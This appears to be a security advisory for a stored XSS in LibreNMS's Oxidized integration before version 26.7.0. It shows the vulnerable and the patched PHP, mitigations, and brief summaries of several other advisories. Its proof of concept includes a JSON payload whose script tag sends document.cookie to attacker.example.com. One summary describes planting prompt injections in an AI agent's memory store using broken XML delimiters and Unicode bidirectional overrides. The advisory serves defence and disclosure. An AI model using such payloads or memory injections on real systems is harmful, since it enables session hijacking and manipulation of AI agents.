Aug 19, 2026·6 min read·21 visits
A high-severity SSRF-driven Stored XSS vulnerability in LibreNMS prior to 26.7.0 allows attackers to execute arbitrary JavaScript in the user's browser via unescaped Oxidized configuration fields.
An injection vulnerability in LibreNMS's Oxidized integration component allows administrative or network-positioned attackers to achieve stored cross-site scripting (XSS). By setting a malicious oxidized.url endpoint, the server makes outbound queries and processes returned JSON fields containing malicious HTML or JavaScript. These payloads are outputted directly in the web UI without appropriate output encoding.
The Oxidized integration within LibreNMS provides network administrators with a unified interface to track device configuration backups and view historic differentials. By communicating with an external Oxidized API endpoint configured via the global settings, the LibreNMS application can query specific metadata regarding individual network assets. This integration introduces an attack surface that relies heavily on the server executing internal backend requests and parsing untrusted remote payloads.
When the LibreNMS dashboard requests device-specific information, it communicates with the endpoint defined in the oxidized.url setting. This dynamic data exchange involves retrieval of JSON-formatted data representing node classifications, IP addresses, models, and version control details. The architecture presumes a high level of trust in the backend API server, making it vulnerable to scenarios where the source URL points to an attacker-controlled listener.
The vulnerability arises because the web client does not sanitize input retrieved via these back-end API queries. Consequently, if an attacker successfully controls the Oxidized endpoint configuration, they can inject malicious payloads into JSON fields. When a legitimate operator accesses the showconfig interface, these payloads are fetched and rendered inside the browser DOM, bypassing the client-server trust boundary.
The core vulnerability is identified as a stored cross-site scripting (XSS) vulnerability classified under CWE-79, triggered via a server-side request forgery (SSRF) style configuration mechanism classified under CWE-918. The underlying application flaw resides in the presentation file includes/html/pages/device/showconfig.inc.php. This module parses JSON elements returned by the Oxidized integration without verifying their structural integrity or sanitizing their contents.
During standard operations, the application retrieves node attributes and maps them directly into local array keys such as $node_info['name'], $node_info['ip'], and $node_info['model']. Following the payload parsing stage, the script outputs these strings directly into the HTML document using PHP echo statements. Because the values are directly concatenated with HTML tags, the application interprets any nested script elements or event handlers as raw HTML instructions.
The exploitation process is further facilitated by the lack of structural validation on the API responses. The server makes an outbound HTTP connection to the destination specified in the database configuration, processes the response body as trusted JSON, and directly reflects the parsed values onto the DOM. To trigger this condition, an attacker must have administrative control or session hijacking capabilities to modify the oxidized.url variable, or must compromise the network route to act as a man-in-the-middle.
An inspection of the vulnerable source code in includes/html/pages/device/showconfig.inc.php highlights the lack of output encoding. The variables are written to the document output stream via raw concatenation.
// Vulnerable Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . $node_info['name'] . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . $node_info['ip'] . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . $node_info['model'] . '</li>';To remedy this injection vector, the development team introduced context-aware sanitization by routing all extracted variables through the PHP built-in htmlspecialchars() function. The patched implementation enforces strict HTML entity conversion, transforming control characters like < and > into their safe text equivalents (< and >).
// Patched Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . htmlspecialchars($node_info['name'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . htmlspecialchars($node_info['ip'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . htmlspecialchars($node_info['model'], ENT_QUOTES, 'UTF-8') . '</li>';Applying ENT_QUOTES ensures both single and double quotes are correctly converted, preventing payload breakouts from within HTML attributes. The explicit specification of the UTF-8 character set prevents multi-byte character encoding bypasses, ensuring complete neutralization of malicious input across all output regions of the showconfig page.
The attack scenario relies on setting a malicious Oxidized endpoint. An attacker with access to administrative configuration settings changes the oxidized.url variable to an external host under their direct control, such as http://attacker.example.com.
Once the target URL is modified, the attacker configures their server to mimic a legitimate Oxidized API interface. When the LibreNMS server executes its backend request to fetch configuration data, the rogue server returns a payload-laden JSON object.
{
"name": "<img src=x onerror=\"alert('SSRF-XSS-oxidized')\">",
"ip": "192.168.1.1",
"model": "Generic-Switch",
"author": "<script>fetch('http://attacker.example.com/steal?cookie='+document.cookie)</script>",
"msg": "Malicious config commit"
}When an operator views the showconfig page, the backend fetches this JSON and outputs the unescaped script fragments. The operator's browser executes the script, transmitting cookie identifiers and anti-CSRF tokens back to the attacker's server.
The security impact of this vulnerability is assessed with a High severity rating, reflecting a CVSS score of 8.1. The attack vector is Network-based, and complexity remains low since exploitation steps do not depend on environmental variables or memory-alignment layouts.
Because the execution occurs directly within the active browser session of users, the scope of the vulnerability changes from the local database settings to the client-side execution environment. A successful exploit allows the attacker to execute arbitrary JavaScript code with the permissions of the viewing user. If the viewing user possesses super-administrator privileges, this execution can be leveraged to hijack sessions or modify system configurations.
The lack of immediate availability impact does not minimize the security risk. Attackers can leverage the active XSS vectors to perform administrative state changes on the monitoring server, such as provisioning additional administrative keys, altering automated network discovery rules, or modifying integration settings to compromise other devices.
Remediation requires updating LibreNMS to version 26.7.0 or later, which incorporates the output escaping patch. For deployments where immediate patch implementation is not possible, specific temporary mitigation strategies should be enforced.
First, restrict write permissions for the configuration page and block unauthorized access to the database where integration settings are stored. Administrators can manually disable the Oxidized integration in the config directory to prevent any background connections to the external URL.
Second, implement network segregation on the LibreNMS server to prevent arbitrary outbound connections. By configuring local firewall rules that block outbound traffic on ports 80 and 443 to non-whitelisted addresses, organizations can limit the risk of server-side request forgery (SSRF) and mitigate the retrieval of malicious JSON payloads.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LibreNMS LibreNMS | < 26.7.0 | 26.7.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-918 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.1 (High) |
| EPSS Score | N/A |
| Impact | Stored Cross-Site Scripting (XSS) / Privilege Escalation |
| Exploit Status | Proof of Concept (PoC) available |
| KEV Status | Not listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.